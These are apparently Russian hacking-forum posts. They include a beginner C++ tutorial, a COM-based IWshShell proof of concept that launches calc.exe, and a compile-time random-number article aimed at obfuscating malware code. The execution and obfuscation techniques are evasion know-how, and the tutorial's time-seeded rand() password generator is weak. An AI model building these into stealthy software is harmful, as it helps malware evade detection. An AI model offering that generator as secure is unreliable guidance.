- строчка объявляет переменную "temperature" которая будет отвечать за хранения сгенерированного числа ( в данном случаи температуру )
C++:Copy to clipboard
if (season == "лето") {
- проверяет если человек ввел в нашем случаи время года "лето" то продолжает работу кода
C++:Copy to clipboard
temperature = rand() % 35;
- данная команда отвечает за генерацию случайного числа от 0 до 35 и присваивает готовое число к переменной "temperature".
C++:Copy to clipboard
} else if (season == "зима") {
- данная строчка отвечает за проверку слова "зима". Если юзер ввел слово зима то скрипт выполняет дальнейшие действия .
C++:Copy to clipboard
temperature = -1 * (rand() % 25);
- Команда генерирует случайное число от 0 до 25 а затем умножает его на -1 чтобы в конце получить реалистичную температуру
C++:Copy to clipboard
} else if (season == "весна" || season == "осень") {
- команда отвечает за проверку слова "осень,весна" .Если данные слова ввел юзер продолжает работу кода
C++:Copy to clipboard
temperature = -10 + (rand() % 35);
- генерирует число от 0 до 35 и прибавляет -10 чтобы получать реалистичную температуру
C++:Copy to clipboard
} else {
- если юзер не ввел ни одно время года то сркипт запустит нижний код
C++:Copy to clipboard
throw invalid_argument("Неизвестный сезон года :( Попробуйте еще разок ");
- это строчка будет выведана в консоль если произойдёт какая то ошибка.
C++:Copy to clipboard
return temperature;
- возвращает значения переменной "temperature"
C++:Copy to clipboard
int main() {
- строчка предназначена для начала основной функции скрипта .
C++:Copy to clipboard
srand(static_cast<unsigned int>(time(0)));
- Инициализирует генератор случайных чисел с использованием текущего времени , это позволяет скрипту получить разные числа при каждом запуске скрипта
C++:Copy to clipboard
string season;
- объявления переменную season , для чего она ?Все проста , она будет хранить введенное пользователем значение .
C++:Copy to clipboard
cout << "Какое сейчас время года ? ";
- выводит в консоль вопрос , чтобы пользователь ввел свой ответ
C++:Copy to clipboard
cin >> season;
- читает веденное слово или число пользователя и сохраняет ответ в выше сказанную переменную "season"
C++:Copy to clipboard
try {
- Если простыми словами то сейчас разберем код который предназначен для исключений
C++:Copy to clipboard
int temperature = generate_temperature(season);
- вызывает в работу функцию generate_temperature передавая введённые данные юзера и сохраняет как итог все в переменную temperature
C++:Copy to clipboard
cout << "Я думаю на улице у вас " << season << ". А температору +- : " << temperature << "°C." << endl;
- Выводит в консоль окончательное сообщения ( текущий сезон и с рандом температура )
C++:Copy to clipboard
} catch (const invalid_argument& e) {
- строка отвечает за обработку исключение invalid_argument
C++:Copy to clipboard
cerr << e.what() << endl;
- выводит сообщение об ошибке на привычный поток ошибок cerr
C++:Copy to clipboard
return 0;
- Завершает данный скрипт и возвращает 0 , что как правило показывает успешное завершение
Вот и все первый скрипт мы разобрали , давайте попробуем сейчас написать скрипт который будет высчитывать символы в вашем сообщении .
Сам код
C++:Copy to clipboard
#include <iostream>
#include <string>
using namespace std;
int count_characters(const string& str, bool ignore_spaces) {
int count = 0;
for (char ch : str) {
if (ignore_spaces && ch == ' ') {
continue;
}
count++;
}
return count;
}
int main() {
string input;
char choice;
cout << "Vvedite stroky ";
getline(cin, input);
cout << "Ignor probel ? (y/n): ";
cin >> choice;
bool ignore_spaces = (choice == 'y' || choice == 'Y');
int char_count = count_characters(input, ignore_spaces);
cout << "Kol-vo simvolov v stroke " << char_count << endl;
return 0;
}
Данный скрипт запрашивает у юзера текст ,затем спрашивает надо посчитать символы включая пробелы или без .После ответа мы получаем количество символов в вашем тексте .Давайте разберем скрипт .
C++:Copy to clipboard
#include <iostream>
- включает библиотеку ввода и вывода .Если своими словами библиотека позволяет работать с такими командами как std::cout и std::cin
C++:Copy to clipboard
#include <string>
- Включает библиотеку для работы со строками типа string
C++:Copy to clipboard
using namespace std;
- Дает возможность без необходимости писать чуть что std:: ( чуть подробнее описал в первом скрипте )
C++:Copy to clipboard
int count_characters(const string& str, bool ignore_spaces) {
- Можно сказать строчка объявляет функции которую принимает строку "str" и логическое значения ignore_spaces
C++:Copy to clipboard
int count = 0;
- создание переменной "count" которая будет предназначена для хранение в нашем случаи количество символов .
C++:Copy to clipboard
for (char ch : str) {
- строчка можно сказать запускает цикл for-each который будет проходить по каждому символу строки "str". Что такое цикл for-each ? for-each - это цикл который дает возможность проходить по элементам "сейфа"(например , строки ,список , массивы ) без использования индексов .А так же он упрощает работу , делая код более восприимчивым
C++:Copy to clipboard
if (ignore_spaces && ch == ' ') {
continue;
}
- если "ignore_spaces" равен "true" а так же символов является пробелом , пропускает этот символ с помощью "continue"
C++:Copy to clipboard
count++;
- строчка можно сказать увеличивает значение count на 1 для тех символов которые не были пропущены
C++:Copy to clipboard
return count;}
- код возвращает итоговое количество символов
C++:Copy to clipboard
int main() {
- Можно сказать объявляет функцию main , которая является началом входа в основную программу
C++:Copy to clipboard
string input; char choice;
- строчка объявляет переменные "input" для хранения введённой строки .А "choice" для хранение ответа пользователя
C++:Copy to clipboard
cout << "Vvedite stroky "; getline(cin, input);
- "cout" выводит сообщение в консоль с просьбой вести данные ( в нашем случаи строчку) .А getline(cin, input); - можно сказать считывает всю введенную строку с пробелами и сохраняет все при все в переменную "input"
C++:Copy to clipboard
cout << "Ignor probel ? (y/n): "; cin >> choice;
- "cout" выводит сообщение юзеру с просьбой указать стоит ли игнорировать пробелы или нет
C++:Copy to clipboard
>> choice;
- считывает ответ юзера ( в нашем случаи y или n) и сохраняет в переменной "choice"
C++:Copy to clipboard
bool ignore_spaces = (choice == 'y' || choice == 'Y');
- строчка можно сказать присваивает "true" переменной "ignore_spaces" если "choise" равен y или Y .В худшем случаи присваивается "false"
C++:Copy to clipboard
int char_count = count_characters(input, ignore_spaces);
- вызывает функцию count_characters ,а так же передает можно сказать все
данные "ignore_spaces" и сохраняет результат в переменной char_count
cout << "Kol-vo simvolov v stroke " << char_count << endl;[/CODE] - Выводит
окончательные данные (В нашем случаи итоговую цифру)
C++:Copy to clipboard
return 0;} -
как и выше сказал , возвращает 0 , что показывает успешное завершение скрипта
Давайте разберем сркипт который будет спрашивать у юзера время а затем
запускать обратный отсчет
C++:Copy to clipboard
#include <iostream>
#include <thread>
#include <chrono>
using namespace std;
void display_time(int hours, int minutes, int seconds) {
cout << (hours < 10 ? "0" : "") << hours << ":"
<< (minutes < 10 ? "0" : "") << minutes << ":"
<< (seconds < 10 ? "0" : "") << seconds << "\r";
cout.flush();
}
void countdown(int hours, int minutes, int seconds) {
while (hours > 0 || minutes > 0 || seconds > 0) {
display_time(hours, minutes, seconds);
this_thread::sleep_for(chrono::seconds(1));
if (seconds > 0) {
seconds--;
} else {
seconds = 59;
if (minutes > 0) {
minutes--;
} else {
minutes = 59;
if (hours > 0) {
hours--;
}
}
}
}
display_time(0, 0, 0);
cout << "Обратный отсчет завершен!" << endl;
}
int main() {
int hours, minutes, seconds;
cout << "Введите количество часов: ";
cin >> hours;
cout << "Введите количество минут: ";
cin >> minutes;
cout << "Введите количество секунд: ";
cin >> seconds;
countdown(hours, minutes, seconds);
return 0;
}
Давайте разберем довольно легкий скрипт
C++:Copy to clipboard
#include <iostream>
- подключаем библиотеку для работы с вводом и выводом
C++:Copy to clipboard
#include <thread>
- Данная библиотека нужна для работы с потоками
C++:Copy to clipboard
#include <chrono>
- А эту библиотеку мы подключили для работы с временем
C++:Copy to clipboard
using namespace std;
- Данная строчка дает возможность как и говорил выше не писать std:: что очень удобно придумано
C++:Copy to clipboard
void display_time(int hours, int minutes, int seconds) {
- строчка отвечает за объявление функции которая будет отображать время в нужном нам формате
C++:Copy to clipboard
cout << (hours < 10 ? "0" : "") << hours << ":"
- Если количество часов меньше 10 то добавляется ведущий ноль перед числом а затем скрипт выводит двоеточие .Это все сделано для приятной работы юзера
C++:Copy to clipboard
<< (minutes < 10 ? "0" : "") << minutes << ":"
- Если количество минут меньше 10 то добавляется ведущий ноль перед числом а затем выводится символ возврата , чтобы перезаписать текущую строку на экране
C++:Copy to clipboard
<< (seconds < 10 ? "0" : "") << seconds << "\r";
- Если количество секунд меньше 10 то добавляется ведущий ноль перед числом а
затем скрипт выводит двоеточие .
cout.flush();
}
C++:Copy to clipboard
cout.flush();
- данная строчка можно сбрасывает буфер вывода , чтобы данные сразу отобразились на экране
C++:Copy to clipboard
void countdown(int hours, int minutes, int seconds) {
- строчка отвечает можно сказать за начало функции выполнения обратного отсчета
C++:Copy to clipboard
while (hours > 0 || minutes > 0 || seconds > 0)
- цикл будет продолжаться пока не закончиться время (если простыми словами то обратный отсчет будет идти до тех пор пока не закончиться время )
C++:Copy to clipboard
display_time(hours, minutes, seconds);
- функция вызывается для отображении текущего времени для юзера
C++:Copy to clipboard
this_thread::sleep_for(chrono::seconds(1));
- строчка отвечает за задержку выполнения программы в размере одной секунды
C++:Copy to clipboard
if (seconds > 0) { seconds--; }
- если кол во секунд больше нуля то скрипт уменьшит количество секунд
C++:Copy to clipboard
else { seconds = 59; if (minutes > 0) { minutes--; } else { minutes = 59; if (hours > 0) { hours--; } } }
- тут чуть труднее , если кол во секунд равно нулю оно сбрасывается на 59 а так скрипт уменьшает количество минут .Если кол во минут тоже равно нулю то оно так же сбрасывается на 59 и уменьшает количество часов
C++:Copy to clipboard
display_time(0, 0, 0);
- показывает финальное время ( 00:00:00)
C++:Copy to clipboard
cout << "Обратный отсчет завершен!" << endl;
- дает знать если обратный отсчет указанного юзером времени подошел к концу
C++:Copy to clipboard
int hours, minutes, seconds;
- объявляем можно сказать переменные для хранения количество часов минут и секунд
C++:Copy to clipboard
cout << "Введите количество часов: "; cin >> hours;
- запрашивает у пользователя количество часов и сохраняет в переменную "hours "
C++:Copy to clipboard
cout << "Введите количество минут: "; cin >> minutes;
- Так же запрашивает у пользователя количество уже минут и сохраняет в переменную "minutes"
C++:Copy to clipboard
cout << "Введите количество секунд: "; cin >> seconds;
- тоже самое делается только уже с секундами а так же все сохраняется в переменную "seconds"
C++:Copy to clipboard
countdown(hours, minutes, seconds);
- строчка вызывает функцию countdown для выполнения обратного отсчета
C++:Copy to clipboard
return 0; -
завершение данной программы
Последний бонусный скрипт будет генерировать для вас пароли .Я решил его
добавить чтобы вы чуть лучше поняли работу генерации в с++
C++:Copy to clipboard
#include <iostream>
#include <string>
#include <cstdlib>
#include <ctime>
using namespace std;
string generate_password(int length) {
const string characters = "qwertyuiop[asdfghjkl;'zxcvbnm,./123456789";
string password = "";
srand(static_cast<unsigned int>(time(0)));
for (int i = 0; i < length; ++i) {
int index = rand() % characters.size();
password += characters[index];
}
return password;
}
int main() {
int length;
cout << "Введите длину пароля: ";
cin >> length;
if (length < 1) {
cout << "Длина пароля должна быть положительным числом." << endl;
return 1;
}
string password = generate_password(length);
cout << "Сгенерированный пароль: " << password << endl;
return 0;
}
C++:Copy to clipboard
#include <iostream>
- - это библиотека отвечает за подключение ввода/вывода
C++:Copy to clipboard
#include <string>
- библиотека для работы со строками
C++:Copy to clipboard
#include <cstdlib>
- в данном случаи это библиотека отвечает за генерацию случайных чисел
C++:Copy to clipboard
#include <ctime>
- а это библиотека для работы со временем
C++:Copy to clipboard
using namespace std;
- а это как и говорил дает возможность не писать постоянно ::std перед какой- то функцией . Проще говоря упрощает написание кода
C++:Copy to clipboard
string generate_password(int length)
- строчка можно сказать объявляет функцию которая принимает целое число "length" и возвращает строку
C++:Copy to clipboard
const string characters = "qwertyuiop[asdfghjkl;'zxcvbnm,./123456789";
- определяет строку characters в которой принципе содержится все возможные буквы и цифры для пароля .(вы можете изменить символы для определенной генерации )
C++:Copy to clipboard
string password = ""
- если простыми слова то в эту строчку будет записываться сгенерированный пароль
C++:Copy to clipboard
srand(static_cast<unsigned int>(time(0)));
- отвечает за генерацию случайных чисел для разнообразия
C++:Copy to clipboard
for (int i = 0; i < length; ++i)
- этот цикл выполняет генерацию пароля нужной длины а сама длина пароля храниться в length
C++:Copy to clipboard
int index = rand() % characters.size();
- генерирует случайное число которое всегда находиться в пределах от 0 до длины строки characters
C++:Copy to clipboard
password += characters[index]
- characters добавляет случайный символ в строчку password
C++:Copy to clipboard
return password;
- возвращает уже сгенерированный пароль
C++:Copy to clipboard
int length;
- объявляет можно сказать переменную length которая будет хранить сам пароль
C++:Copy to clipboard
cout << "Введите длину пароля: ";
- выводит в коносль запрос для ввода длины пароля
C++:Copy to clipboard
cin >> length;
- читает и сохраняет выше введенный запрос
C++:Copy to clipboard
if (length < 1)
- проверка пароля на длину меньше чем один
C++:Copy to clipboard
cout << "Длина пароля должна быть положительным числом." << endl;
- если что то пошло не так выводит ошибку в консоль
C++:Copy to clipboard
return 1;
- завершает программу с кодом ошибки 1 ( безуспешная выполнение программы )
C++:Copy to clipboard
string password = generate_password(length);
- включает в работу generate_password с длинной length и сохраняет результат в переменную password
C++:Copy to clipboard
cout << "Сгенерированный пароль: " << password << endl;
- выводит на экран юзера уже готовый пароль
C++:Copy to clipboard
return 0;
- завершает программу и означает успех выполнение
Данные скрипты будет полезны для начинающих в с ++ , я старался как можно проще и понятнее все объяснить. Если вы заинтересованы в изучении ++ то я вам рекомендую тщательно изучить код и постараться изменить его. А если у вас возникнуть вопросы то я всегда смогу их ответить тут или в тг
Заключения
.
Данная статья была создана с целью ознакомления вас с языком с++ .Я постарался
объяснить простые скрипты на живом примере , и так . Давайте подведем итоги
.Что такое с ++ ? с++ это язык программирования который славиться своей
гибкостью и многофункциональностью .Данный язык был создан как улучшенная
версия можно сказать языка C .На плюсах было написано много очень интересных и
известных программ . Какое направления больше всего подходит для данного языка
? Сам по себе с++ больше подходит для каких то серьезных проектов что не
скажешь о том же python .На плюсах можно написать буквально все начиная от
системного программного обеспечение заканчивая финансовыми системами или
играми .В целом об этом языке можно говорить вечность потому что он
действительно мощный и является одним из настолько гибких языков .Стоит ли
изучать данный язык ? Ответ зависит от вашего направления если вы стремитесь к
успехам в сфере кодинга то однозначно да .А если вы хотите попробовать себя в
кодинге то думаю не стоит начинать с данного языка , лучше изучите тот же
python .
Благодарю вас за прочитанную мной статью я старался объяснить все как можно проще .Если проявите хотя-бы какой-то актив то думаю напишу еще статью на тему изучения с++ но уже более серьезный скрипт ( а так же предлагайте свои тематики для написание скриптов , был бы очень рад )
Всем привет, очень мало знаю в C++, играю в игрулю и хочу сделать туда вспомогательный скрипт для себя и своих кентов(не читы. чисто визуальную х#йню)
И нашел вот такую документацию на офф.сайте
](https://wiki.ddnet.org/wiki/Development/ru#%D0%92%D0%B0%D1%88%D0%B0_%D1%81%D1%80%D0%B5%D0%B4%D0%B0_%D1%80%D0%B0%D0%B7%D1%80%D0%B0%D0%B1%D0%BE%D1%82%D0%BA%D0%B8)
wiki.ddnet.org
Можете ли вы дать мне какие то ссылки на уроки, и направить вообще что нужно делать? Как мне обращаться к переменным игры через внешний софт, получается мне нужно делать инжект скрипта? Или через .dll можно ?
Я использую переводчик. Надеюсь, это хороший переводчик) Я гость и иностранец. Это моя попытка быть вежливым. Пожалуйста, извините за любые ошибки.
Я изучал различные методы запуска программы. Все используют одни и те же методы, поэтому давайте попробуем что-то другое.
Я решил использовать IWshShell. IWshShell используется Visual Basic для запуска программ. Этот объект можно инициализировать на C++ для использования интерфейса Visual Basic. Это плохо документировано. Есть некоторая документация по нему 1990-х годов, но она плохая.
Вот мой код для проверки концепции. Его можно улучшить, другие перечисленные методы мне еще предстоит разработать. Я все еще экспериментирую с CreateShortcut, RegDelete, RegWrite, RegRead и ExpandEnvironmentVariables. Все перечисленные функции работают, но обеспечение их работоспособности в C++ может оказаться неприятным.
Хорошего дня =D
C++:Copy to clipboard
#include <Windows.h>
#include <objidl.h>
#include <Propvarutil.h>
DWORD Win32FromHResult(_In_ HRESULT Result)
{
if ((Result & 0xFFFF0000) == MAKE_HRESULT(SEVERITY_ERROR, FACILITY_WIN32, 0))
return HRESULT_CODE(Result);
if (Result == S_OK)
return ERROR_SUCCESS;
return ERROR_CAN_NOT_COMPLETE;
}
struct __declspec(uuid("{f935dc21-1cf0-11d0-adb9-00c04fd58a0b}"))
IWshShell : public IUnknown {
virtual PVOID __stdcall CreateShortcut(PWCHAR) = 0;
virtual PWCHAR __stdcall ExpandEnvironmentString(PWCHAR) = 0;
virtual INT64 __stdcall Popup(PWCHAR, PVOID, PVOID) = 0;
virtual VOID __stdcall RegDelete(PWCHAR) = 0;
virtual HRESULT __stdcall RegRead(_In_ BSTR FullRegistryPath, _Out_ VARIANT* AllocatedReadValue) = 0;
virtual VOID __stdcall RegWrite(PWCHAR, PVOID, PVOID) = 0;
virtual DWORD __stdcall Run(_In_ BSTR BinaryPath, _In_opt_ VARIANT* WindowStyle, _In_opt_ VARIANT* WaitOnReturn, _Out_ PDWORD ExitCode) = 0;
};
INT main(VOID)
{
IWshShell* Shell = NULL;
HRESULT Result = S_OK;
GUID Clsid, Iid;
VARIANT wWindowStyle, wWaitOnReturn;
BSTR Payload = NULL;
BOOL bFlag = FALSE;
DWORD dwReturn = ERROR_SUCCESS;
DWORD dwExitCode = ERROR_SUCCESS;
wWaitOnReturn.vt = VT_EMPTY;
wWindowStyle.vt = VT_EMPTY;
Result = CLSIDFromString(L"{72C24DD5-D70A-438B-8A42-98424B88AFB8}", &Clsid);
if (!SUCCEEDED(Result))
goto EXIT_ROUTINE;
Result = CLSIDFromString(L"{f935dc21-1cf0-11d0-adb9-00c04fd58a0b}", &Iid);
if (!SUCCEEDED(Result))
goto EXIT_ROUTINE;
Result = CoInitializeEx(NULL, COINIT_MULTITHREADED);
if (!SUCCEEDED(Result))
goto EXIT_ROUTINE;
Result = CoCreateInstance(Clsid, NULL, CLSCTX_ALL, Iid, (PVOID*)&Shell);
if (!SUCCEEDED(Result))
goto EXIT_ROUTINE;
Payload = SysAllocString(L"C:\\Windows\\System32\\calc.exe");
if(Payload == NULL)
goto EXIT_ROUTINE;
if (Shell->Run(Payload, &wWindowStyle, &wWaitOnReturn, &dwExitCode) != ERROR_SUCCESS)
goto EXIT_ROUTINE;
bFlag = TRUE;
EXIT_ROUTINE:
if (!bFlag)
dwReturn = Win32FromHResult(Result);
if (Payload)
SysFreeString(Payload);
CoUninitialize();
return dwReturn;
}
Всем привет!
Это моя первая статья на этом форуме и я решил начать с чего-то простенького,
не судите строго.
Порой читая код опенсорсных плюсовых малварей, складывается не самое лучшее впечатление о коде, нередко люди предпочитают обмазываться макросами и непортабельными расширениями компиляторов, особенно это касается генерации псевдо-случайных чисел, шифрования строк, обфускации вызовов и тому подобного, сегодня я постараюсь это немного исправить и заодно разобрать одну из интереснейших техник в плюсовой компайл-тайм разработке, появившуюся ещё в C++ 14 и окончательно утвердившуюся в C++ 20 с эволюцией NTTP и появлением лямд в unevaluated контексте, более известную как лупхолы типов или просто лупхолы.
Эта статья не претендует на какую-то эксклюзивную информацию, ибо сегодня об этой технике знает наверное уже каждый опытный C++ разработчик, но несмотря на это, оговорюсь, что [плюсовой комитет считает эту технику эксплуатацией дизайна языка и предлагает её к запрету ещё с 2015 года](https://www.open- std.org/jtc1/sc22/wg21/docs/cwg_active.html#2118). Тем не менее техника полностью соответствует стандарту языка и является портабельной, а учитывая, что её использует буст и даже гугл, маловероятно что её все же запретят, ведь с другими распространенными "хитрыми" техниками этого не произошло. =)
Заранее оговорюсь, я буду взаимозаменяемо использовать слова класс и
структура, ибо особой разницы между ними нет (если выкинуть баги с шаблонами,
то единственной разницей будет дефолтный доступ к элементам).
В основном я постараюсь показать простые примеры применения, но на самом деле
этими примерами применение лупхолов не ограничивается - их можно использовать
и для построения гораздо более сложных алгоритмов, включая stateful компайл-
тайм парсинга сложных SQL запросов к базам данных, создания псевдо-
рефлексии и так далее, короче говоря
очень мощная техника.
Тем не менее, несмотря на всю свою мощь, сама техника проста как табуретка:
Мы создаем шаблонный класс или структуру с friend функцией, которая принимает
саму структуру или её шаблонные параметры в качестве своего аргумента, что,
как вы уже догадались, создает селф-референс на структуру и получается типовой
луп.
Это происходит потому, что friend функции обладают форвард декларацией в
классах и не привязаны к самим классам, то есть нам необязательно объявлять их
до объявления класса, чтобы сослаться на них, что и делает лупхолы возможными.
Но как же теперь получить "референс" на эту функцию? Здесь и кроется весь
секрет, штука в том, что C++ ищет функции по их аргументам, это называется
Argument Dependent Lookup или просто ADL. Давайте взглянем на этот
классический пример лупхола:
C++:Copy to clipboard
template <std::size_t I> struct Tag {};
template <typename T, std::size_t I>
struct Loophole { friend auto Get(Tag<I>) { return T{}; } };
// декларация friend функции (или если более пафосно, "инжект friend функции в глобальный неймспейс" (c) комитет)
// и инстанциация специализации структуры, порядок не важен, так как возвращаемый тип функции ещё не был дедуцирован
auto Get(Tag<0>);
Loophole<std::size_t, 0> lh{};
// заставляем компилятор дедуцировать возвращаемый тип
static_assert(std::is_same_v<decltype(Get(Tag<0>{})), std::size_t>);
Что же здесь происходит? У нас есть функция Get, которая не привязана к классу
и не является его методом, при этом она объявлена внутри класса и может
использовать его шаблонные параметры, в том числе для своих аргументов.
Далее идет декларация функции с конкретным типом аргумента, в данном случае
это Tag<0> (вместо NTTP с 0 здесь может быть и тип, это не так
важно), C++ находит эту функцию по типу её
аргумента используя ADL, и инстанциирует эту специализацию функции в
глобальный неймспейс, это называется инжектом, после чего мы явно
инстанциируем специализацию типа класса Loophole с первым шаблонным параметром
типа std::size_t и тем же индексом, который был у аргумента при
инстанциировании функции Get строкой выше. На этом моменте компилятор сохранил
у себя в памяти 2 типа:
struct Loophole<std::size_t, 0>
auto Get(Tag<0>)
Теперь всё, что нам остается, это заставить компилятор дедуцировать для нас
возвращаемый тип функции Get с аргументом Tag<0>, так как эта функция
возвращает значение с типом первого параметра из шаблона Loophole, то
компилятор обратится к struct Loophole<std::size_t, 0>
и вытащит этот тип
оттуда, в нашем случае это и будет std::size_t. Звучит круто, не правда ли?)
С теорией разобрались, дальше так подробно детали я пояснять не буду для
экономии моего времени и времени читателя.
Прежде чем писать генератор псевдо-случайных чисел, сначала нам нужно будет
написать counter и storage, для начала нам нужны сами лупхолы:
Spoiler
C++:Copy to clipboard
namespace loophole
{
enum class State { Value };
template <typename TTag>
struct Flag { friend consteval State Get(Flag); };
template <typename TTag, typename TFlag>
struct Creator { friend consteval State Get(TFlag) { return State::Value; } };
template <typename TTag>
consteval bool CheckExists(...) { return false; }
template <typename TTag, State = Get(Flag<TTag>{})>
consteval bool CheckExists(State) { return true; }
template <typename TTag>
consteval bool Create(...) { return !sizeof(Creator<TTag, Flag<TTag>>); }
template <typename TTag, State = Get(Flag<TTag>{})>
consteval bool Create(State) { return true; }
}
// false если значение не существует (лупхол не был выставлен), true если существует
template <typename TTag, bool bResult = loophole::CheckExists<TTag>(loophole::State::Value)>
consteval bool CheckExists() { return bResult; }
// создает значение если оно не существует, возвращает false если значение не существовало, true если оно уже существовало
template <typename TTag, bool bResult = loophole::Create<TTag>(loophole::State::Value)>
consteval bool Create() { return bResult; }
На первый взгляд со счетчиком всё просто, нужно просто проверять, есть ли функция и если есть, то просто увеличивать счетчик на единицу, пока не дойдем до момента, где функции нет. Если её не было изначально, то просто инжектим:
Spoiler
C++:Copy to clipboard
template <typename TTag, std::size_t N>
struct Index;
template <std::size_t szCurrent>
struct RecursiveSearch
{
template <typename TTag, bool bIsNextIndex = CheckExists<Index<TTag, szCurrent>>(),
std::size_t szResult = bIsNextIndex ? RecursiveSearch<szCurrent + 1>::template Next<TTag>() : szCurrent>
static consteval std::size_t Next() { return szResult; }
};
template <typename TTag, std::size_t szResult = RecursiveSearch<0>::template Next<TTag>()>
consteval std::size_t Find() { return szResult; }
template <typename, typename TTag, std::size_t szIndex = Find<TTag>(), bool = Create<Index<TTag, szIndex>>()>
consteval std::size_t ConstCounter() { return szIndex; }
template <typename TTag, std::size_t szResult = ConstCounter<void, TTag>()>
consteval std::size_t ConstCounter() { return szResult; }
Но если вы попытаетесь скомпилировать этот код, то заметите, что количество рекурсивных вызовов будет слишком велико и такой код просто не скомпилируется, даже несмотря на свою корректность. Нам нужен другой подход, обеспечивающий нам минимальное количество шаблонной рекурсии, например, бинарный поиск:
Spoiler
C++:Copy to clipboard
template <typename TTag, std::size_t N>
struct Index;
template <std::size_t szSize>
struct BinarySearch;
template <>
struct BinarySearch<1>
{
template <std::size_t szMiddle, typename TTag, bool bIsNextIndex = CheckExists<Index<TTag, szMiddle>>()>
static consteval std::size_t Next() { return szMiddle + (bIsNextIndex ? 1 : 0); }
};
// фоллбек для невалидного инпута
template <>
struct BinarySearch<0>
{
template <std::size_t szMiddle, typename Tag>
static consteval std::size_t Next() { return 0; }
};
template <std::size_t szSize>
struct BinarySearch
{
template <std::size_t szMiddle, typename TTag,
std::size_t szNextSize = (szSize >> 1), bool bIsNextIndex = CheckExists<Index<TTag, szMiddle>>(),
std::size_t szShift = (szNextSize >> 1) + 1,
std::size_t szNextMiddle = bIsNextIndex ? szMiddle + szShift : szMiddle - szShift,
std::size_t szResult = BinarySearch<szNextSize>::template Next<szNextMiddle, TTag>()>
static consteval std::size_t Next() { return szResult; }
};
// максимальный размер области поиска, если хотите оверрайднуть, то оно должно быть числом мерсенна
// std::numeric_limits<NumberType>::max() всегда будет являться таким числом
template <typename TTag, std::size_t szSize = (std::numeric_limits<std::size_t>::max)(), std::size_t szResult = BinarySearch<szSize>::template Next<(szSize >> 1), TTag>()>
consteval std::size_t Find() { return szResult; }
template <typename TTag, std::size_t szIndex = Find<TTag>(), bool = Create<Index<TTag, szIndex>>()>
consteval std::size_t ConstCounterInternal() { return szIndex; }
template <typename TTag, std::size_t szResult = ConstCounterInternal<TTag>()>
consteval std::size_t ConstCounter() { return szResult; }
Замечательно, теперь всё компилируется как надо. Следующим шагом мы
имплементируем storage, тут тоже всё тривиально, мы запоминаем текущее
значение каунтера, которое становится частью нашего тага, затем мы лупхолим
значение с этим тагом.
Для начала, нам нужно написать ассигнер, который будет выставлять значение
так, чтобы мы могли найти его бинарным поиском, здесь у нас все тривиально:
Spoiler
C++:Copy to clipboard
struct Dummy {};
template <typename TTag, bool bResult = Create<TTag>()>
consteval Dummy Set() { return {}; }
template <std::size_t szValue>
struct Assigner
{
// для того, чтобы "найти" значение бинарным поиском, нам нужно нужно создать "путь", по которому будет ориентироваться поисковик
template <typename TTag, auto = Set<Index<TTag, szValue - 1>>(),
auto = Assigner<szValue & (szValue - 1)>::template Next<TTag>()>
static consteval Dummy Next() { return {}; }
};
template <>
struct Assigner<0>
{
template <typename TTag>
static consteval Dummy Next() { return {}; }
};
template <typename TTag, std::size_t szValue, auto = Assigner<szValue>::template Next<TTag>()>
consteval Dummy Assign() { return {}; }
ну и теперь нам всего-лишь остается дописать сам сторедж:
Spoiler
C++:Copy to clipboard
template <typename TTag = decltype([]{})>
struct ConstVarStorage
{
template <typename TUserTag>
struct ValueIndex {};
template <typename TUserTag, std::size_t szIndex>
struct ValueStorageTag {};
// для каждого последующего ассигна мы используем свой таг
// для того, чтобы таг был уникальным, мы используем каунтер
template <std::size_t szValue, typename Tag = TTag, std::size_t szCurrentIndex = ConstCounter<ValueIndex<Tag>>(),
auto = Assign<ValueStorageTag<Tag, szCurrentIndex + 1>, szValue>()>
static consteval std::size_t Assign() { return szValue; }
template <typename Tag = TTag,
std::size_t szCurrentIndex = Find<ValueIndex<Tag>>(),
std::size_t szValue = Find<ValueStorageTag<Tag, szCurrentIndex>>()>
static consteval std::size_t Get() { return szValue; }
};
Да, вот так всё просто! Удивительно, не правда ли?
Ну и теперь осталось самое простое, это генерация псевдослучайных чисел,
логика здесь ровно такая же, как и у генераторов на макросах - мы берем
некоторый константный сид и используем его. В нашем случае мы берем
константные строки и хешируем их, после чего используем полученное значение
как сид. Для начала нам нужно обернуть строку, чтобы её можно было передать в
качестве шаблонного параметра, для этого напишем простой класс:
Spoiler
C++:Copy to clipboard
template <typename TChar, std::size_t N>
class FixedString
{
public:
constexpr FixedString(const TChar(&str)[N + 1])
{
std::copy_n(str, N + 1, m_Data);
}
using TValueType = TChar;
using TSizeType = std::size_t;
constexpr static std::size_t m_szLen = N;
TChar m_Data[N + 1];
};
template <typename TChar, std::size_t N>
FixedString(const TChar(&str)[N]) -> FixedString<TChar, N - 1>;
и сами функции хеширования (вы можете заменить их на свои, чем проще, тем быстрее всё скомпилируется):
Spoiler
C++:Copy to clipboard
template <std::size_t szValue>
consteval std::size_t HashRecursive() { return szValue; }
template <std::size_t szValue, char c, char ... cc>
consteval std::size_t HashRecursive() { return HashRecursive<(static_cast<std::size_t>(c) ^ szValue) * std::size_t(11797901 /*может быть любым простым числом, да и сам алгоритм может быть любым, на ваш вкус*/), cc ...>(); }
template <FixedString Initial, std::size_t ... szIndexes>
consteval std::size_t HashInitialSeq(std::index_sequence<szIndexes ...>) { return HashRecursive<0, Initial.m_Data[szIndexes] ...>(); }
template <FixedString Initial>
consteval std::size_t HashInitial() { return HashInitialSeq<Initial>(std::make_index_sequence<Initial.m_szLen>()); }
ну и теперь дело осталось за малым:
Spoiler
C++:Copy to clipboard
struct ConstRandomTag;
struct ConstRandomCounterTag;
template <std::size_t szValue>
consteval std::size_t NextConstRandomValue()
{
// каунтер нужен чтобы предотвратить кольцевую генерацию в случае возникновения коллизии
if constexpr (!szValue) return HashInitial<__TIME__ __DATE__>() + ConstCounter<ConstRandomCounterTag>();
else return szValue;
}
template <typename TValue = ConstVarStorage<ConstRandomTag>, std::size_t szValue = TValue::template Get<>()>
consteval std::size_t RoundConstRandom()
{
// здесь мы получаем сид либо предыдущее значение, шаффлим его и возвращаем с ассигном вместо предыдущего
// алгоритм шаффла здесь может быть абсолютно любым, вы можете заменить на свой
constexpr std::size_t szNextValue = NextConstRandomValue<szValue>();
return TValue::template Assign<(std::rotl(szNextValue, 17) ^ std::rotl(szNextValue, 4)) * std::size_t(32360183)>();
}
Вот такая вот небольшая статья, на этом всё и надеюсь вам понравилось, полный "отполированный" исходник:
